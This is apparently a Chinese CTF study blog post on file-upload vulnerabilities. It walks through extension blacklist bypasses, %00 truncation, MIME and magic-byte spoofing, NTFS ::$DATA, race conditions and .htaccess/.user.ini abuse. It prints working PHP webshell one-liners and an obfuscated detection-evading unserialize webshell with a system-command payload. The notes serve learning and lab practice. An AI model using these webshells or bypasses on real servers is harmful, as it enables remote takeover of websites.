文件上传

文件上传漏洞

如果对文件上传路径变量过滤不严,并且对用户上传的文件后缀以及文件类型限制不严,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。

webshell

就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境

使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作

解题步骤

1、判断题目利用的漏洞方式为读取、写入、还是执行,如果不能立刻确定就由低到高一次挖掘。(先找文件读取、再找文件写入、再找命令执行)先确定出最终要拿到的权限方向

2、判断漏洞的大概类型即考点,实现漏洞利用

3、寻找敏感数据

网站检测机制与防护手段

通常检查文件后缀,分为两种

白名单过滤

只允许上传它指定的文件后缀,这种过滤在没有其他漏洞辅助的情况下几乎不可能绕过

黑名单过滤

就是不允许上传它指定的文件后缀

一些绕过

双写绕过

原理:服务端对黑名单中的内容进行处理 ,将⿊名单的字符串替换为空 ,且仅处理一次,比如说使用str_replace()函数,所以可以通过双写后缀绕过。

比如黑名单有php,上传一个a.php文件,经过服务器端检测后会将其更改为a.文件

绕过方法就是写成a.pphphp,经过服务器端检测后中间的pphphp中间的php被替换为空,最终文件名会变成a.php上传到服务器

a.php=>a.pphphp

黑名单后缀绕过

后缀替换

文件拓展名 等价拓展名
php phtml、php2、php3、php4、php5、phps
aspx ashx、asmx、ascx
asp asa、cer、cdx
jsp jspx、jspf、jspa、jsw、jsv、jtml

%00截断

php版本<5.3.4

原理:无论是0x00、%00、/00,最终被解析后都是:chr(0)

chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string

00截断就是在后缀中插入一个空字符(不是空格)

例如在文件1.php.jpg中插入空字符变成:1.php.0x00.jpg中,解析后就会只剩下1.php

方法

1、bp抓包

2、在文件名插入一个空格

3、在HEX中找到空格应的16进制编码‘20’,把它改成00,就可以插入空字符

对文件内容检测的绕过

1、其他标签绕过

如果检测的是<?php ··· ?>这些标签可以用其他标签绕过

1
<script language="php">eval($_POST['cmd']);</script>

或者(过滤php)

1
<?= eval($_POST['cmd']);?>

或者

1
2
3
4
5
<?

····

?>

2、脏数据绕过

适⽤于对⽂件⼤⼩没有限制的 有时候服务器可能为了追求效率,对上传的⽂件只检测部分内容或者特定部分的内容,这时候可以利⽤脏数据

生成脏数据的脚本

1
2
3
4
flag = ''
for i in range(200000):
flag += str(i)
print(flag)

image-20260131000344676

3、敏感内容绕过(免杀马)

如果检测的是敏感内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_POST['run'])) {
class HandShip {
public $name;
public $male;
function __destruct() {
$allin = $this->name;
$allin($this->male);
}
}
if(md5($_POST['code'])=='ce61649168c4550c2f7acab92354dc6e'){

unserialize($_POST['run']);
}
}
?>

用法

1
run=0:8:"HandShip":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /home";};&code=panda

4、替换大小写绕过

如:将Content-Disposition修改为content-Disposition
将form-data修改为Form-data
将Content-Type修改为content-Type

5、通过删减空格绕过

6、等效替换绕过

添加空格

原内容:

1
Content-Type: multipart/form-data; boundary=---------------------------471463142114

修改后:

1
Content-Type: multipart/form-data; boundary =---------------------------471463142114

boundary后面加入空格。

7、通过字符串拼接来绕过

用+拼接字符

1
Content-Disposition: form-data; name="file"; filename="yjh3.php"

将form-data改为f+orm-data
将from-data改为form-d+ata

8、双文件上传绕过

9、HTTP header 属性值绕过

1
Content-Disposition: form-data; name="file"; filename="yjh.php"

我们通过替换form-data*来绕过

10、 修改编码绕过

使用UTF-16Unicode双URL编码

11、HTTP header 属性名绕过

源码

1
2
3
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"

Content-Type: image/png

绕过

1
2
3
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png

C.php"

删除掉ontent-Type: image/png只留下c,将.phpc后面即可,但是要注意额,双引号要跟着c.php”.

12、命令函数绕过

如果检测eval之类的,用assert或者其他

13、传参方式检测

若不允许POST,GET传参这类可以用Cookie之类的绕过

方法

1
2
3
4
5
6
7
8
上传写有一句话木马的.txt,若提示内容非法

给网站添加cookie,发现直接写命令可能不行就用base64编码,再解码

name=1

value=eval(base64_decode('cGhwaW5mbygpOw=='))?>

cGhwaW5mbygpOw==这是对phpinfo的base64编码

检查文件头

原理:每个类型的文件都会有不一样的开头和标识符,服务器端可能会检查这些标识符,从而判断上传的文件是否合法

格式 文件头
JPEG(jpg) FFD8FF
PNG(png) 89504E47
GIF(gif) 47494638
ZIP Archive(zip) 504B0304
RAR Archive(rar) 52617221
Wave(wav) 57415645
HTML(html) 68746D6C3E
XML(xml) 3C3F86D6C

绕过方法

只要在上传的内容加入幻术头字节(可以用010,也可以制作图片马)

前端js绕过

禁用JS

直接在浏览器中禁用JS脚本,让JS脚本不发挥作用

image-20260131000651427

f12+f1直接禁用js

禁用后直接可以上传.php后缀名文件

bp拦截抓包

上传允许的后缀名文件,bp抓包后修改后缀名

image-20260131000705843

MIME检查

一、什么是MIME

概念

媒体类型MIME,是一种标准,用来表示文档、文件或字节流的性质和格式

语法/通用结构type/subtype

由类型与子类型两个字符串中间用’/‘分隔而组成。

不允许空格存在

type表示可以被分多个子类的独立类别

subtype表示细分后的每个类型

MIME类型对大小写不敏感,但是传统写法都是小写

类型举例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
image/jpeg
image/png

text/plain
text/html
audio/mpeg
audio/ogg
audio/*
video/mp4
application/*
application/json
application/javascript
application/ecmascript
application/octet-stream

二、解决方法

bp抓包

将Content_Type,将application/octet-stream修改为image/jpeg或image/png即可上传

二次渲染

为了压缩图片对图片进行二次渲染,会删除图片中的恶意代码。在源码中使用imagecreatefromgif函数对图片进行二次生成

方法

1、制作图片马

2、将原图片上传, 下载渲染后的图片进行对比 (用010比较),搜索相同,在相同区域填写一句话木马或者恶意指令

$DATA绕过

原理:在 Windows 的 NTFS ⽂件系统⽀持⼀种叫做 Alternate Data Streams ( ADS ,备⽤数据流)的特性

  • 什么是 ADS ?: ADS 允许⼀个⽂件包含多个 “ 数据流 ” 。你可以把它想象成⼀本书,主内容( $DATA 流)是 书的正⽂,但书还可以有附录、索引等额外的部分(其他数据流),它们都绑定在同⼀本书(⽂件名)上。
  • 默认流:当⼀个⽂件被创建时,它的默认数据流就是 ::$DATA 。也就是说,你平常创建和编辑的 ⽂件,其完整名称实际上是 a.php::$DATA 。在⼤多数情况下,系统会⾃动隐藏 ::$DATA 部分。
  • 特殊语法:在⽂件名后加上 a.php ::$DATA 是 NTFS 系统层⾯上的⼀个合法操作,⽤于指定要操作的是哪个数据流。

如果上传的⽂件名为 shell.php::$DATA ,服务器看到⽂件名末尾是⼀个⾮可执⾏⽂件,于是放⾏

当 Windows 系统接收到指令要创建⼀个名为shell.php ::$DATA ⽂件时,它会正确地将其识别为向shell.php ⽂件的默认数据流写⼊数据

所以就会在服务器上⽣成⼀个shell.php ⽂件 其内容和上传的内容相同

条件竞争

原理:利⽤服务器端 “ 检查⽂件 ” 和 “ 使⽤⽂件 ” 两个操作之间存在的⼀个微⼩的时间窗⼝,在这个极短的时间内,通过⾼并发请求,使⼀个恶意⽂件在被删除或被处理之前被执⾏

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
 <?php
// 初始化变量 $is_upload,用于标记文件是否上传成功,初始值为 false 表示尚未成功上传
$is_upload = false;
⽂件移动:代码先使⽤
move_uploaded_file
函数将上传的临时⽂件移动到⽬标⽬录,此时⽂件已经被放置在⽬
标⽬录中,但还未进⾏⽂件类型检查
// 初始化变量 $msg,用于存储上传过程中的提示信息,初始值为 null 表示暂无提示信息
$msg = null;

// 检查是否通过 POST 方式提交了名为 'submit' 的表单元素
// 如果提交了,说明用户触发了文件上传操作,进入后续处理逻辑
if (isset($_POST['submit'])) {
// 定义一个数组 $ext_arr,存储允许上传的文件扩展名
$ext_arr = array('jpg', 'png', 'gif');
// 获取用户上传文件的原始文件名
$file_name = $_FILES['upload_file']['name'];
// 获取上传文件在服务器临时存储的路径
$temp_file = $_FILES['upload_file']['tmp_name'];
// 从文件名中提取文件扩展名
// strrpos($file_name, ".") 用于查找文件名中最后一个点号的位置
// substr($file_name, strrpos($file_name, ".") + 1) 从最后一个点号的下一个位置开始截取字
符串,得到文件扩展名
$file_ext = substr($file_name, strrpos($file_name, ".") + 1);
// 拼接上传文件在目标目录中的完整路径
// UPLOAD_PATH 是预定义的上传文件保存目录
$upload_file = UPLOAD_PATH . '/' . $file_name;

// 尝试将临时文件从临时存储路径移动到目标路径
// move_uploaded_file 是 PHP 内置函数,用于处理文件上传移动操作
if (move_uploaded_file($temp_file, $upload_file)) {
// 检查提取的文件扩展名是否在允许的扩展名数组中
if (in_array($file_ext, $ext_arr)) {
// 如果扩展名合法,拼接一个新的文件名
// rand(10, 99) 生成一个 10 到 99 之间的随机整数
// date("YmdHis") 获取当前的日期和时间,格式为年月日时分秒
// 最后拼接上文件扩展名
$img_path = UPLOAD_PATH . '/' . rand(10, 99) . date("YmdHis") . "." .
$file_ext;
// 将之前移动到目标路径的文件重命名为新的文件名
rename($upload_file, $img_path);
// 将 $is_upload 标记为 true,表示文件上传成功
$is_upload = true;
} else {
// 如果扩展名不合法,将提示信息 $msg 设置为只允许上传指定类型的文件
$msg = "只允许上传.jpg|.png|.gif类型文件!";
// 删除已经移动到目标路径的文件
unlink($upload_file);
}
} else {
// 如果文件移动失败,将提示信息 $msg 设置为上传出错
$msg = '上传出错!';
}
}
?>
  • ⽂件移动:代码先使⽤ move_uploaded_file 函数将上传的临时⽂件移动到⽬标⽬录,此时⽂件已经被放置在⽬ 标⽬录中,但还未进⾏⽂件类型检查
  • 时间间隔:在⽂件移动完成后,代码才开始检查⽂件扩展名是否合法。在这个时间间隔内,攻击者可以利⽤多线 程或脚本快速地多次上传⽂件,并且在服务器进⾏⽂件类型检查之前,修改服务器上⽂件的扩展名或内容
  • 绕过检查:如果攻击者在⽂件类型检查之前将⽂件扩展名修改为合法的扩展名,或者利⽤⽂件包含访问图⽚⻢等⽅式让服务器以恶意代码的形式执⾏⽂件,就可以绕过⽂件类型检查,实现恶意⽂件的上传和执⾏,所以可以利⽤ bp 的 Intruder 不断的发送请求,然后去访问上传的⽂件位置,可能会访问到

配置文件

.htaccess文件

利用条件:Apache环境下可利用

Apache中的一个配置文件,中间件是Apache才能用

可以实现 网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能

利用htaccess文件getshell

分析源码

如果对php,asp,jsp等进行过滤,大小写的方式也不行,但是可以上传.jpg文件,可是 .jpg只有解析成 php文件才能getshell

因此我们需要先上传 .htaccess 文件,然后再上传 .jpg文件

创建.htaccess文件

在本地(记事本就行)创建一个.htaccess文件

1
2
3
4
5
<FileMatch"\文件名">

SetHandler application/x-httpd-php

</FilesMatch>

这个代码是将题目要求的文件类型被解析为PHP文件

上传.htaccess文件

上传一句话木马

利用bp抓包上传一句话木马,这里要注意的是文件名称必须和.htaccess中的文件名相同

访问

获取绝对路径返回网站访问,可以蚁剑链接也可以用hackbar执行命令

.user.ini文件

利用条件:上传目录下必须有一个可执行的php文件

php.ini是 PHP 的一个全局配置文件,对整个 Web 服务器起作用,而.user.ini.htaccess文件都可以看作是用户自定义的php.ini,其中.user.ini.htaccess用的更广,不管是nginxapacheIIS,只要是以fastcgi运行的 PHP 都可以用这个方法,但也有局限性,就是上传文件的目录下一定要有一个可执行的 PHP 文件

直接使用

如果黑名单没有限制.user.ini

先上传一个.user.ini文件,文件内容是包含一个1.txt

1
auto_append_file=123.txt

然后上传123.txt

1
<?php eval($_POST[1]);?>

然后访问index.php即可,POST传参输入命令

搭配协议使用

同样按上述步骤可以上传但不能解析时,就想到可以包含伪协议的,只要环境支持伪协议

1
auto_append_file=php://input

image-20260131001247522


文件上传
https://colourful228.github.io/2026/01/24/文件上传/
作者
Colourful
发布于
2026年1月24日
更新于
2026年2月11日
许可协议